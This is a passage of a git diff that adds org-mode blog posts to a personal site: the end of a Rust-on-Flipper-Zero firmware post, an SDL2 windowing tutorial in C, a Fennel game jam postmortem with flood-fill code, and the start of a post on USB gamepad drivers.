=CString= & friends. But it works. + +... well, not without some tinkering. When I first tried to test this, I ran +into an issue that made me think my USB-C cable was bad: qFlipper was failing to +flash my firmware images, but the failure was happening while it was erasing the +internal memory -- before it could even get to sending my firmware image over +the wire. + +#+BEGIN_SRC prog +20235 [DBG] Erasing memory: 94% +20329 [DBG] Erasing memory: 95% +20423 [DBG] Erasing memory: 96% +20517 [DBG] Erasing memory: 97% +20658 [DBG] Erasing memory: 98% +20843 [REG] Device went offline: VID_0x483:PID_0xdf11 +21958 [DBG] Failed to perform control transfer: LIBUSB_ERROR_NO_DEVICE +21958 [DBG] Unable to get device status +21958 [DBG] An error has occured during erase phase +21958 [DBG] Failed to erase page +21958 [DBG] Failed to erase the memory +21958 [RCY] Firmware Download @Ellwt1n3 ERROR: Can't flash firmware: An error has occured during the operation. +21958 [DEV] Firmware install from file @Ellwt1n3 ERROR: Can't flash firmware: An error has occured during the operation. +21958 [BKD] Current operation finished with error: "Can't flash firmware: An error has occured during the operation." +26905 [APP] qFlipper exited +26924 [default] "There are still \"1\" items in the process of being created at engine destruction." +#+END_SRC + +I tried several times with several different USB-C cables, but the error +occurred consistently, so I went to the [[https://forum.flipperzero.one/t/device-disconnect-when-erasing-memory/3731/2][Flipper Zero forums to ask about it]]. +Astra was kind enough to let me know that my firmware was too big. I thought +this would mean having to golfing the code down to size, but really, no amount +of optimization was going to make that "hello world" any smaller. The firmware +image is big enough as it is,[fn:3] so I disabled a couple features I wasn't +using at the time to make room. + +#+BEGIN_SRC diff +diff --git a/applications/applications.mk b/applications/applications.mk +index baeaf4ae..8096cc08 100644 +--- a/applications/applications.mk ++++ b/applications/applications.mk +@@ -35,8 +35,8 @@ SRV_STORAGE = 1 + # Apps + SRV_DESKTOP = 1 + APP_ARCHIVE = 1 +-APP_GPIO = 1 +-APP_IBUTTON = 1 ++APP_GPIO = 0 ++APP_IBUTTON = 0 + APP_INFRARED = 1 + APP_LF_RFID = 1 + APP_NFC = 1 +@@ -46,16 +46,16 @@ APP_PASSPORT = 1 + APP_UPDATER = 1 + + # Custom apps +-APP_UNIRFREMIX = 1 +-APP_CLOCK = 1 +-APP_SPECTRUM_ANALYZER = 1 ++APP_UNIRFREMIX = 0 ++APP_CLOCK = 0 ++APP_SPECTRUM_ANALYZER = 0 + + # Plugins +-APP_MUSIC_PLAYER = 1 +-APP_SNAKE_GAME = 1 +-APP_WAV_PLAYER = 1 ++APP_MUSIC_PLAYER = 0 ++APP_SNAKE_GAME = 0 ++APP_WAV_PLAYER = 0 + APP_HELLO_WORLD = 1 +-APP_TETRIS_GAME = 1 ++APP_TETRIS_GAME = 0 + + # Debug + APP_ACCESSOR = 1 +#+END_SRC + +#+CAPTION: Black Flipper Zero reading "Hello from Rust". +[[./flipper-zero-hello-world.jpg]] + +And I was finally greeted by my Flipper. + +* Conclusion + +We now have a successful proof-of-concept for running Rust code on the Flipper +Zero, even if it came at the cost losing Rust's distinctive safety features. We +also learned that we'll continue to be constrained by size limitations as we +continue to work on the firmware. + +When we revisit this project next, we will: + +1. Port these hacks over to the new =scons= build system. +2. Re-implement the parts of =libcore= necessary to leverage Rust's safety features. +3. Learn the Flipper's GUI library and develop a simple hex editor. + +I'd like to develop a POCSAG beacon and a mechanism for loading code from the SD +card rather than having everything baked into internal memory, but these are +more ambitious, so I'll shelve them for a third article. + +--- + +[fn:1] For those following along at home: I am building atop Eng1n33r's [[https://github.com/Eng1n33r/flipperzero-firmware][Unleashed]], rather than the official [[https://github.com/flipperdevices/flipperzero-firmware][flipperzero-firmware]]. + +[fn:3] My justification for this claim is this comment in the [[https://blog.flipperzero.one/new-firmware-update-system/][New Firmware Update System]] update: "a classic OTA Update is impossible for Flipper Zero. Flipper Zero's firmware is about 700KB in size and together with the Radio Stack the memory is completely exhausted. Since we don't have free space to work with, the classic OTA update won't work in our case." + +[fn:4] Which, I'll admit, I haven't actually read yet. I'd only skimmed the first chapter to get started. I'm going into this mostly blind. + +[fn:5] My understanding is that this isn't good to do in general. I could [[https://en.wikipedia.org/wiki/Halt_and_Catch_Fire_(computing)][halt]] here, but I'm purposefully delaying the inevitable use of [[https://doc.rust-lang.org/nightly/rust-by-example/unsafe/asm.html][inline assembly]]. diff --git a/haunt/posts/sdl-tutorial-part-0x00.org b/haunt/posts/sdl-tutorial-part-0x00.org new file mode 100644 index 0000000..dab5990 --- /dev/null +++ b/haunt/posts/sdl-tutorial-part-0x00.org @@ -0,0 +1,323 @@ +#+TITLE: SDL Tutorial Part 0x00 - Boilerplate, Windowing and Rendering +#+DATE: <2016-09-14 Sun 21:02> +#+TAGS: tutorial programming game-development c + + +#+BEGIN_EXPORT html +
+

This is one of my older tutorials and follows a style unlike + my current one. I also no longer hold the same claims I made about the SDL + documentation that I originally made in this article. I think it's perfectly + fine. You just need to spend some time looking around because it's not + organized like other documentation is. For that reason, I have no plans to + continue this tutorial series unless someone specifically asks for me to + continue it.

+
+#+END_EXPORT + + +SDL2 is my favorite graphics library right now. It might not be as powerful as +something like raw OpenGL, but it's simple. Simple enough that you can just +pick it up and start using it. There's a glaring issue with it, though. The +documentation is horrible. Absolutely horrible. A lot of it is unfinished, and +it doesn't look like it's getting attention any time soon. The SDL1.2 +documentation wasn't as bad, but that version of the library is vastly outdated +by today's standards. So here's my take on a tutorial for SDL - part 0x00 of a +I-don't-know-how-long-I'm-going-to-drag-this-on series. My examples are going +to be written in C, because the constructs I show here can still be used +verbatim in C++ (and probably SDL's other language bindings as well). This +tutorial will be covering the little boilerplate that SDL requires, as well as +the basics of windowing and rendering. Let's get into it. + +The first thing you have to worry about is installing and setting up SDL2.0. I +won't cover it in detail because it's something you should be able to figure out +yourself. If your operating system doesn't provide a means of package +management, you should be able to find a download on the [[https://libsdl.org/][official website]]. + +You should also figure out how to link SDL2 when you're compiling, nothing I +teach here will work if it isn't properly linked. If you're having trouble with +anything, fire up your favorite search engine or feel free to [[http://tsar-fox.com/][contact me]]. + +Alright, assuming you've successfully installed SDL, let's get to actually +programming. As with any C library, the first thing you should worry about is +including the header files. While SDL provides header files for specific +subsystems, we're not going to worry about that right now. There's a header +file that contains everything and we're going to use that for right now. + +#+BEGIN_SRC c :hl_lines 0 +#include +#+END_SRC + +Depending on how header files are organized on your system, you may have to use +this instead: + +#+BEGIN_SRC c :hl_lines 0 +#include +#+END_SRC + +That will give us function prototypes and type definitions for everything in +the SDL library, but we have to initialize SDL before we can really do anything +with it. This is actually really simple, done with a single function call. + +#+BEGIN_SRC c :hl_lines 0 +SDL_Init(SDL_INIT_VIDEO); +#+END_SRC + +=SDL_Init= takes a flag as a parameter so it knows which subsystems to +initialize. /A/ parameter. One, not several. This might be a bit confusing to +some, especially if you're not familiar with bitwise arithmetic, but +=SDL_INIT_VIDEO= is nothing more than a preprocessor macro representing some +number. =SDL_Init= interprets that number, and initializes the subsystems +associated with it. We don't write the number out in our code, though (or at +least you shouldn't). We use the macros, but there aren't macros for every +combination of subsystems you can come up with. Does this mean that SDL can only +initialize one subsystem at a time? Not at all, to combine macros and represent +multiple subsystems, you would hook them together with the [[https://en.wikipedia.org/wiki/Bitwise_operation#OR][bitwise OR operator]]. +(=|=, not =||=). For example, if we wanted to initialize SDL's video AND audio +subsystems, we would do this + +#+BEGIN_SRC c :hl_lines 0 +SDL_Init(SDL_INIT_VIDEO | SDL_INIT_AUDIO); +#+END_SRC + +But we're not going to be working with audio just yet. + +=SDL_Init= also returns an integer value, and it's pretty important. If it's +zero, SDL was initialized properly. Great! But if SDL can't be initialized for +some reason, it will return a negative number. This is where another SDL +function comes into the picture. =SDL_GetError= takes no arguments, but will +return a string literal explaining what went wrong. So if we wanted to do some +error checking (which you always should), we could do this: + +#+BEGIN_SRC c :hl_lines 0 +if (SDL_Init(SDL_INIT_VIDEO)) { + fprintf(stderr, "Here's the error: %s\n", + SDL_GetError()); + return 1; +} +#+END_SRC + +You can pretty much do anything here to handle the error. I'm using =fprintf(3)= +for simplicity, but SDL provides more advanced logging features which I'll cover +in a later tutorial. + +In SDL, you need to be responsible and clean up after yourself. For every +function that initializes or creates something, there is a complementary +function that deinitializes or destroys it. The function to counter =SDL_Init= +is =SDL_Quit=. It takes no parameters and returns nothing, you can just call it +and be done with it. With that covered, we've learned SDL's few lines of +boilerplate code. Much more appealing than something like Direct3D, eh? If you +compile and run the program right now, nothing interesting will happen. It +initialized and deinitialized SDL (unless something went wrong), but didn't +bother creating windows or doing anything because we didn't tell it to. Let's +change that. We first have to know about two important typedefs in SDL. +*SDL_Window, and SDL_Renderer.* =SDL_Window= is self-explanatory, it's a struct +representing a window, and =SDL_Renderer= is how you would put something into a +window. Renderers in SDL are capable of hardware acceleration and vertical-sync, +which is why SDL2 is awesome and SDL1.2 is left in the dust. These are just +structs, though, they don't do anything by themselves. Let's create a window, +and capture it in a =SDL_Window= struct: + +#+BEGIN_SRC c :hl_lines 0 +SDL_Window *my_cool_window = SDL_CreateWindow("A Cool Window", + SDL_WINDOWPOS_UNDEFINED, + SDL_WINDOWPOS_UNDEFINED, + 400, 400, SDL_WINDOW_SHOWN); +#+END_SRC + +Whoa, that's a mouthful, but it isn't as complicated as it looks. The first +argument is just a title for the window; you can name it whatever you want. The +next two arguments are X and Y values for where the window should be placed on +the screen. People usually don't care about this; you can use +=SDL_WINDOWPOS_UNDEFINED= if you don't. After that are the window's width and +height. I'm choosing to make my window 400 by 400 pixels, but you can choose +whatever size works best for your program. There are ways to change it later on, +too. Finally, we get to a flag. Its usage is similar to the flag we used with +=SDL_Init=, you use a bitwise OR to combine flags. We're not doing anything +fancy just yet, though, so =SDL_WINDOW_SHOWN= on its own will suffice. It +ensures that the window will be visible, rather than minimized. + +As you can hopefully tell from the example code above, =SDL_CreateWindow= +returns a pointer of type =SDL_Window=. If a window cannot be created, though, +it will return =NULL=. You should always do error checking, so throw something +in to see if =my_cool_window= (or whatever you named your window variable) is +=NULL=. + +#+BEGIN_SRC c :hl_lines 0 +if (!my_cool_window) { + fprintf(stderr, "Window couldn't be created. %s\n", + SDL_GetError()); + return 1; +} +#+END_SRC + +There's =SDL_GetError= again! He's our friend and you should be using him every +time you do error checking. + +Remember how I said that SDL has a complementary function to destroy anything +that is created? This is no exception. =SDL_DestroyWindow= is very similar to +=SDL_Quit=, but it takes a =SDL_Window= pointer as an argument. + +#+BEGIN_SRC c :hl_lines 0 +SDL_DestroyWindow(my_cool_window); +#+END_SRC + +It's sad to see him go, but we're done so we need to free the resources. At this +point, you can compile and run the C source file. It still kinda sucks, though. +When you run it, the window pops up and immediately goes away. One useful +function is =SDL_Delay=. It might seem mundane now, but it will become quite +important when we need to cap our program's framerate. It takes a number of +milliseconds as a parameter and temporarily stops your program so that SDL and +your computer can take a short break. Alright. So when we put that in our code +(after the window creation but before the window destruction), compile, and run +it, we get this: + +#+CAPTION: A screenshot of the window on my system. +[[./window.png]] + +I'm running i3wm, so it will probably look slightly different for you, but +we've finally got a window! It still sucks, though. It doesn't do anything, +it doesn't even clear itself! Let's make it white and learn a little bit +about renderers in SDL. + +If we want to do stuff within a window, we have two options. One is to create an +=SDL_Surface= from the window and draw to the surface, which is the sucky legacy +way of doing it so we're going to pretend that I didn't mention it, or you can +create a =SDL_Renderer=, which we're going to do because it's so much more +capable. We're going to use another SDL function call to create a renderer, and +we'll capture it in a =SDL_Renderer= pointer: + +#+BEGIN_SRC c :hl_lines 0 +SDL_Renderer *my_cool_renderer; +SDL_CreateRenderer(my_cool_window, -1, + SDL_RENDERER_ACCELERATED); +if (!my_cool_renderer) { + fprintf(stderr, "There was an error %s\n", + SDL_GetError()); +} +#+END_SRC + +Alright, so clearly the first argument is the window we want to create a +renderer for. The second is more complicated. It's the index of the driver to +initialize, which you probably don't care too much about so you can just put -1 +in there to have it use the first one that's available. The last is a flag, +which you probably know so much about by now. Finally, as you can imagine, +=SDL_CreateRenderer= returns =NULL= if a renderer cannot be created. This should +all seem pretty familiar, it's the same format as creating a window - create a +struct pointer to capture it, use a function call to create it, and do some +basic error checking. Dead simple, and it just gets better from here. + +Once again, don't forget to clean up after yourself. The function to remove a +renderer when you're done with it is =SDL_DestroyRenderer=. It just takes a +=SDL_Renderer= pointer as an argument. + +Now we've got a renderer, but if we compile and run our code - the effect is +the same because we haven't used it for anything. So let's change that and +learn a little bit about drawing in SDL. + +Renderers in SDL have a color associated with them, which they use when drawing +primitive geometry like lines and quadrilaterals. It doesn't affect textures, +but you'll probably end up using primitive geometry at some point so it's good +to know. =SDL_SetRenderDrawColor= changes the aforementioned color. We're +actually not going to be drawing any primitive geometry in this tutorial, but +I'm bringing this up because the renderer will use its associated color when +clearing the screen. So more about the function - it takes a renderer as an +argument, followed by red, green, blue, and alpha (transparency) values. I'm +going to make mine white (0xFF, 0xFF, 0xFF, 0xFF), but feel free to experiment. +After that, we'll be calling =SDL_RenderClear=, which takes a renderer as an +argument and, as I briefly mentioned a few lines ago, fills it with whatever +color the renderer is currently associated with. And finally, we'll call +=SDL_RenderPresent= to update the screen. This is where some people get a little +confused. Basically, in SDL you draw everything and /then/ update the screen, +meaning that you have as much time as you want to make the scene perfect before +you have to show it to the user. And we're pretty much done! Let's look at the +basic program: + +#+BEGIN_SRC c :hl_lines 0 +#include +#include + +int main(int argc, char *argv[]) { + SDL_Window *my_cool_window; + SDL_Renderer *my_cool_renderer; + + if (SDL_Init(SDL_INIT_VIDEO)) { + fprintf(stderr, "ERROR: %s\n", SDL_GetError()); + return 1; + } + + my_cool_window = SDL_CreateWindow("Bush Did Harambe", + SDL_WINDOWPOS_UNDEFINED, + SDL_WINDOWPOS_UNDEFINED, + 400, 400, SDL_WINDOW_SHOWN); + if (!my_cool_window) { + fprintf(stderr, "ERROR: %s\n", SDL_GetError()); + return 1; + } + + my_cool_renderer = SDL_CreateRenderer(my_cool_window, + -1, + SDL_RENDERER_ACCELERATED); + if (!my_cool_renderer) { + fprintf(stderr, "ERROR: %s\n", SDL_GetError()); + return 1; + } + + SDL_SetRenderDrawColor(my_cool_renderer, 0xFF, 0xFF, 0xFF, 0xFF); + SDL_RenderClear(my_cool_renderer); + SDL_RenderPresent(my_cool_renderer); + + SDL_Delay(4000); + SDL_DestroyRenderer(my_cool_renderer); + SDL_DestroyWindow(my_cool_window); + SDL_Quit(); + return 0; +} +#+END_SRC + +Let's run it: + +#+CAPTION: A screenshot of the completed window on my system. +[[./finished-window.png]] + +To recap, we learned about: + +* SDL Functions + +- *SDL_Init*: Used to initialize SDL. Takes a flag as a parameter. Returns 0 if + it succeeds, or a negative value if it fails. +- *SDL_Quit*: Complements =SDL_Init=. Takes no parameters and returns nothing. +- *SDL_CreateWindow*: Creates a window and returns a pointer to it, or =NULL= if + it fails. Takes a title, X and Y positions, width, height, and a flag as + parameters. +- *SDL_DestroyWindow*: Complements =SDL_CreateWindow=, takes a =SDL_Window= + pointer as an argument and returns nothing. +- *SDL_CreateRenderer*: Called to create a renderer, and returns a pointer to + it, or =NULL= if it fails. Takes the =SDL_Window= pointer for the window you + want to create a renderer for, an index (usually -1), and a flag as + parameters. +- *SDL_DestroyRenderer*: Complements =SDL_CreateRenderer=. Takes a + =SDL_Renderer= pointer as an argument and returns nothing +- *SDL_Delay*: Takes a number of milliseconds as an argument, and proceeds to + wait for that period of time. +- *SDL_SetRenderDrawColor*: Takes a renderer, red, green, blue, and alpha values + as arguments, and changes the color associated with the given renderer. +- *SDL_RenderClear*: Takes a renderer as an argument and fills it with whatever + color is currently associated with that renderer. +- *SDL_RenderPresent*: "Refreshes" the renderer, presenting the image to the + user. + +* Type Definitions + +- *SDL_Window*: Captures the result of =SDL_CreateWindow=. +- *SDL_Renderer*: Captures the result of =SDL_CreateRenderer=. + +And if you would like to read more, here are some additional resources: + +- [[https://wiki.libsdl.org/SDL_Init#Remarks][SDL Documentation - SDL_Init (Remarks)]] +- [[https://wiki.libsdl.org/SDL_WindowFlags][SDL Documentation - Window Flags]] +- [[https://wiki.libsdl.org/SDL_RendererFlags][SDL Documentation - Renderer Flags]] + +You're still reading? Well, this is my first tutorial ever. If you have any +feedback, be it positive or negative, I'd love to hear it! I hope this tutorial +was helpful, there are many more to come. diff --git a/haunt/posts/slime-the-world-postmortem.org b/haunt/posts/slime-the-world-postmortem.org new file mode 100644 index 0000000..ea14dcd --- /dev/null +++ b/haunt/posts/slime-the-world-postmortem.org @@ -0,0 +1,320 @@ +#+TITLE: Slime the World: A Postmortem +#+DATE: <2018-11-02 Fri 08:27> +#+TAGS: writeup video-games programming game-development lua lisp fennel + +[[https://itch.io/jam/autumn-lisp-game-jam-2018/rate/321822][Slime the World]] was my entry to this year's [[https://itch.io/jam/autumn-lisp-game-jam-2018][Autumn Lisp Game Jam]], and it managed +to win second place. The theme was slime, so it’s a game about covering +everything in sight with slime, and the dialect of Lisp I chose to use was +[[https://fennel-lang.org/][Fennel]], a simple and elegant Lisp that I feel perfectly matches the simplicity +and elegance of Lua. It takes on a more "modern" style that I associate with +Lisps such as Clojure. I had initially pushed Clojure to the side, feeling it +was too different from Common Lisp, but now that I've had a positive firsthand +experience with a Lisp where lists /aren't/ the data structure you always reach +for, I'm hoping to return to it with an open mind. + +When I signed up, I thought that the ten-day deadline was lax compared with some +of the more well-known jams like [[https://ldjam.com/][Ludum Dare]]. Being given ten days to complete a +submission was certainly more permissive than two would have been, but I found +that participating in a game jam and simultaneously juggling coursework from +university was challenging. To me, the point of a short deadline is so that you +can sit down and focus on nothing but developing the game for the stretch of the +jam, but even dedicating one weekend to working on the game felt irresponsible +when I had papers to write, problem sets to grind, and exams to study for. I +actually made myself submit the entry two days before the deadline so that I +wouldn't be working on it when I went home to visit my family this past weekend. +I had fun, though, didn't fall behind in my academics, and still had plenty of +time to spend with the people I love most. + +All in all, I'm very happy with my decision to participate. This was my first +game jam, and I think given the smaller size and relatively laid back +atmosphere, it was a wise choice for first jam. The dynamic nature of Lisp made +for a pleasant game development experience, I had an opportunity to try my hand +at sprite work in GIMP, and this is the first time I can say that I've +"finished" one of my games! I've made plenty of prototypes (which I now feel +inspired to return to and write a blog post about), but they never graduated +past the prototype stage. This reminds me of a point in [[https://www.youtube.com/watch?v=jGjq-C5cj2c&list=PLRDhcp_8c7uAPQfE6WMBo7PCNlkQIOLdO&index=5&t=0s][an entry to +3kliksphilip's "The Game Making Journey"]], which I took to be a suggestion to +finish at least one relatively basic game before starting on something huge and +deep[fn:1]: "I had no idea what people wanted from my proper games, like Sundown +Shambles or Don't Look Down, which were still not getting positive reviews even +after weeks of development - to me these were perfect, or at least a lot closer +to that status than other peoples' games and I had no idea of how I was supposed +to improve on them further. I learned that I should build things from the ground +up, getting it to work on a basic level before elaborating on it, rather than +starting with some obscure or absurdly complex idea and shoe-horning it into +something that people could play, relying on depth to compensate for lack of +balance or fun." In my case, those prototypes never went anywhere because I +wasn't focused on getting a simple base that was engaging, I had an +underdeveloped vision of gameplay and tried to implement the entire thing at +once, which inevitably led to me giving up. + +Surprisingly, one of the highlights for me was actually adapting [[https://en.wikipedia.org/wiki/Flood_fill][flood fill]] to +figure out how many surfaces in the map can be slimed. It's a pleasingly simple +algorithm, but until now, I've never had a reason to implement it. The following +isn't the code that's actually used in the game - it's been *significantly* +cleaned up, and works on maps made from text-based tiles instead of the +structures that the game uses to represent tiles, but I'm including a little +code walkthrough because I really just admire the simplicity of the algorithm. +It's also decoupled from the game code if you want to run it yourself, just make +sure [[https://raw.githubusercontent.com/rxi/lume/master/lume.lua][lume.lua]] is present. + +#+BEGIN_SRC fennel :hl_lines 0 +(local lume (require :lume)) + +(fn index-out-of-bounds [world x y] + (or (< y 0) (>= y (# world)) + (< x 0) (>= x (# (. world (+ y 1)))))) + +(fn tile-at [world x y] + (when (index-out-of-bounds world x y) + (error (string.format "(%d, %d) is out of bounds" x y))) + (. world (+ y 1) (+ x 1))) + +(fn iter-tiles [world] + (var x 0) + (var y 0) + + (let [height (# world)] + (fn [] + (if (< y height) + (let [last-x x + last-y y + tile (tile-at world x y) + width (- (# (. world (+ y 1))) 1)] + (if (>= x width) + (do + (set x 0) + (set y (+ 1 y))) + (set x (+ 1 x))) + (values last-x last-y tile)) + nil)))) + +;; Returns some tile in `world' of type `tile-type', or nil if no such tile is +;; present. +(fn find-any [tile-type world] + (var res nil) + (each [x y tile (iter-tiles world)] + (when (and (= tile tile-type) (not res)) + (set res [x y]))) + res) + +;; Returns whether or not `tile' exists in `checked'. +(fn tile-checked [checked x y] + (lume.match checked + (fn [tile] + (let [(other-x other-y) (unpack tile)] + (and (= x other-x) + (= y other-y)))))) + +;; Modified implementation of . +(fn count-surfaces-recur [world x y checked] + (let [check-adjacent (fn [world x y checked] + (if (index-out-of-bounds world x y) + 0 + (if (= " " (tile-at world x y)) + (count-surfaces-recur world x y checked) + 1)))] + (if (tile-checked checked x y) + 0 + (do (table.insert checked [x y]) + (+ (check-adjacent world (+ x 1) y checked) + (check-adjacent world (- x 1) y checked) + (check-adjacent world x (+ y 1) checked) + (check-adjacent world x (- y 1) checked)))))) + +;; Returns the number of slime-able surfaces in the given grid of tiles. +(fn count-surfaces [world] + (let [seed (find-any " " world)] + (when seed + (let [(x y) (unpack seed)] + (count-surfaces-recur world x y []))))) + +(let [world [["█" "█" "█" "█"] + ["█" " " "█" "█"] + ["█" " " " " "█"] + ["█" " " " " "█"] + ["█" "█" "█" "█"]]] + (print (count-surfaces world))) +#+END_SRC + +There are a few shortcomings of this implementation (chiefly, the map has to be +one enclosed space, there can't be any "empty" tiles around the map's border), +but for the purposes of a game jam entry, it did the job wonderfully. [[https://github.com/rxi/lume][=lume=]] is +an excellent library that prides itself on being "geared towards gamedev," but +as you can see from the code, it also provides some general iteration constructs +that prove useful when programming in a more functional style. =tile-at= and +=index-out-of-bounds= are just my mapping of cartesian coordinates onto a Lua +array (which are indexed starting at 1, /not/ 0). =iter-tiles= provides an +[[https://www.lua.org/pil/7.1.html][iterator]] over the text-based world structure I'm using, yielding an =x=, a =y=, +and the =tile= for every addressable location in the world. It's more stateful +than I'd like, and I know that Lua supports [[https://www.lua.org/pil/7.3.html][stateless iterators]], but I didn't +really want to figure those out. Lisp is multi-paradigm, after all. + +All =count-surfaces= does is find a place for =count-surfaces-recur= to start, +which is where the real meat of the algorithm is. As the name implies, it's +recursive: + +1. If the tile's been checked already, stop and return 0. +2. For each adjacent tile (one step north, west, east, and south), sum: + 1. 1, if the tile is a wall (as that means we've hit one side of the tile) + 2. The return value of =count-surfaces-recur= if it isn't a wall +3. Return that sum. + +We're really just walking the map's empty space and keeping track of every time +we hit the side of a tile. There are better ways to implement flood fill, but I +think this is fairly easy to reason about and understand. + +Participating in the game jam taught me several lessons, and there are a few I +would like to share with you: + +* The First Solution Doesn't Have To Be The Best Solution + +I find that, when I initially set out to write a blog post or something similar, +I'm most effective if I direct my attention towards getting words down on paper +and pay little mind to formatting or coherence. Both are easily addressed later +on in the writing process, and having the words in a malleable medium gives me a +framework to run with. This is different than the approach I typically take when +programming, where I do a lot of planning in my head and strive to nail the most +elegant solution on the first try. "Most elegant," being, of course, subjective. +However, working within a strict deadline pushed me towards putting out some +arguably "hackier" code, which in turn helped me to realize the usefulness of +applying my "get words down on paper" methodology to programming. Allow me to +elaborate with some examples. + +The first iteration of the code for updating the camera looked like this: + +#+BEGIN_SRC fennel :hl_lines 0 +;; Update camera. +(set camera-x (lume.lerp camera-x (- swanky-x camera-lock-goal-x) dt)) +(set camera-y (lume.lerp camera-y (- swanky-y camera-lock-goal-y) dt)) + +;; Lock camera so that it doesn't go out of bounds. +(when (> 0 camera-x) + (set camera-x 0)) + +(when (> 0 camera-y) + (set camera-y 0)) + +(when (>= camera-x (- (* tile-width (- (. sandbox :width) 3)) screen-width)) + (set camera-x (- (* tile-width (- (. sandbox :width) 3)) screen-width))) + +(when (>= camera-y (- (* tile-height (- (. sandbox :height) 2)) screen-height)) + (set camera-y (- (* tile-height (- (. sandbox :height) 2)) screen-height))) +#+END_SRC + +All of the variables you see above, with the exception of =dt=, are globally +accessible and mutable. This is typically frowned upon in production code, but I +think that for a first iteration, globals make the code easier to think about, +and that's more effective for grounding the ideas that you have. + +Now that I was able to see which information was associated with which concepts +in the code, I was able to replace the loose global variables with tables. This +was the subsequent iteration: + +#+BEGIN_SRC fennel :hl_lines 0 +;; Update camera. +(tset camera :x-pos (lume.lerp (. camera :x-pos) + (- (. player :x-pos) camera-lock-goal-x) (* 4 dt))) +(tset camera :y-pos (lume.lerp (. camera :y-pos) + (- (. player :y-pos) camera-lock-goal-x) (* 4 dt))) +;; Lock camera so that it doesn't go out of bounds. +(when (> 0 (. camera :x-pos)) + (tset camera :x-pos 0)) + +(when (> 0 (. camera :y-pos)) + (tset camera :y-pos 0)) + +(let [max-x (- (* (. map :tiles :width) (. world :width)) screen-width)] + (when (>= (. camera :x-pos) max-x) + (tset camera :x-pos max-x))) + +(let [max-y (- (* (. map :tiles :height) (. world :height)) screen-height)] + (when (>= (. camera :y-pos) max-y) + (tset camera :y-pos max-y))) +#+END_SRC + +I think this less readable, but again, much like with writing, formatting and +coherence are things you can and should come back to. The current version of the +game has more general function that abstracts this notion of updating the camera +into a function that doesn't incur side effects. + +#+BEGIN_SRC fennel :hl_lines 0 +(fn focus-on-object [camera object dt] + (let [last-x (. camera :x-pos) + last-y (. camera :y-pos) + max-x (. camera :max-x) + max-y (. camera :max-y) + object-x (. object :x-pos) + object-y (. object :y-pos) + width (. object :width) + height (. object :height) + screen-width (. camera :screen-width) + screen-height (. camera :screen-height) + x-offset (math.floor (- (/ screen-width 2) (/ width 2))) + y-offset (math.floor (- (/ screen-height 2) (/ height 2))) + x (lume.lerp last-x (- object-x x-offset) (* 4 dt)) + y (lume.lerp last-y (- object-y y-offset) (* 4 dt)) + x (lume.clamp x 0 max-x) + y (lume.clamp y 0 max-y)] + (values x y))) +#+END_SRC + +This version is still, in my opinion, "hacky." For one, the code is mostly field +retrieval, and this could probably be broken up into smaller functions for +clarity. I believe the reason for the upper bound on elegance was actually that +I tried to refactor too early. I made the transition from global variables to +tables within the first two days of the jam, so very few of the features in the +final game had an initial implementation, and as such, I was lacking a complete +"big picture" when designing the data layout. + +Writing this section, I was reminded of a snippet from a [[https://www.facebook.com/permalink.php?story_fbid=2110408722526967&id=100006735798590][Facebook post]] that was +posted by one my idols, John Carmack: "I used a common pattern for me: get first +results with hacky code, then write a brand new and clean implementation with +the lessons learned, so they both exist and can be cross checked." I'm hoping to +apply this to my future programming work. It's been said that "weeks of +programming can save you hours of planning," but I think that getting some code +down that works is an excellent precursor to the planning process. + +* Learn Your Tools Ahead Of Time + +I was fortunate enough to have experience with Lua prior to the jam, so the +general concepts regarding tables and such weren't foreign, and I had guidance +in the form of [[https://technomancy.us][Phil Hagelberg]]'s blog post[fn:2], [[https://technomancy.us/188]["in which a game jam is recounted +further"]] and the source code to [[https://gitlab.com/technomancy/exo-encounter-667][EXO_encounter 667]]. Regardless, I didn't /learn/ +Fennel until the jam had started. This wasn't a huge deal, as Lisps are +syntactically identical and I was able to pick it up without much trouble, but +there were inevitably nuances, and I really wish that I had at least played +around with Fennel in the days leading up to the jam. It took me four days to +realize that bindings in a =let= form could refer to earlier bindings in that same +form, much like the behavior of =let*= in Common Lisp. It also took time to get +used to reaching for tables and booleans rather than conses, and I never learned +how macros work in Fennel. To my understanding, they have to be declared in +separate modules, and there is no backquote syntax. Again, things I could have +figured out had I just used Fennel prior to writing a game with it. + +Also, I still do not know why, but [[https://gitlab.com/technomancy/fennel-mode][=fennel-mode=]] does not work with my Emacs +configuration. Some =init.el= bisecting revealed that =(require 'package)= +messed up fennel-mode's indentation function somehow. Whenever I worked on the +game, I had to run a separate =emacs -q= and =eval-buffer= on =fennel-mode.el=. +Fortunately, it wasn't too inconveniencing, but it did make me want to redo my +Emacs config at some point in the future. + +* Don't Be Too Ambitious + +Going back to the point about juggling this with university, I probably could +have picked a less ambitious idea for the jam. There were loads of unused assets +and unimplemented ideas. I had plans for implementing particle systems, parallax +scrolling, a big ol' Metroidvania-styled map with interconnected rooms, enemies, +saving, gamepad support, &c, &c, &c. A minimal portion of my initial vision made +it into the end product, to say the least. Toning back the idea blast probably +would have helped me focus on what was important to implement. + +Huge thanks to [[https://www.michaelfiano.com/][Michael Fiano]] for hosting the jam, and to the community for being +so damn great. Everyone was willing to help one another - Phil was kind enough +to [[https://itch.io/post/581643][share his makefile with me]][fn:3], and I made plenty of friends along the way. + +[fn:1] After returning to rewatch the series after publishing this post, I came to the realization that I was thinking of another point in another video. For those curious, the topic of finishing a simple game before tackling something bigger is covered in [[https://www.youtube.com/watch?v=1jn39JJYW3A&t=0s&list=PLRDhcp_8c7uAPQfE6WMBo7PCNlkQIOLdO&index=6][the fifth entry]]. + +[fn:2] Which was actually my main inspiration to use Fennel for this jam. + +[fn:3] Sadly, due to time constraints, I did not end up using it for the submission. I do, however, have intentions to go back and incorporate it into my post-jam fixes. diff --git a/haunt/posts/sorry-guys-i-have-to-troubleshoot-my-usb-drivers-before-i-can-play.org b/haunt/posts/sorry-guys-i-have-to-troubleshoot-my-usb-drivers-before-i-can-play.org new file mode 100644 index 0000000..6739faf --- /dev/null +++ b/haunt/posts/sorry-guys-i-have-to-troubleshoot-my-usb-drivers-before-i-can-play.org @@ -0,0 +1,254 @@ +#+TITLE: Sorry Guys, I Have to Troubleshoot My USB Drivers Before I Can Play With You +#+DATE: <2024-06-23 Sun 14:35> +#+TAGS: writeup reverse-engineering linux operating-systems hardware + +This blog post is about a GNU/Linux rabbit hole I fell down in the belief I was chasing a mighty adventure. It was not nearly as adventurous as I had hoped, but I am nonetheless posting about it in case this information is helpful to someone else.[fn:1] My story begins with a purchase of four wireless gamepads from [[https://www.8bitdo.com/][8BitDo]]. I had done little research outside of scrolling past a few positive comments about their products on 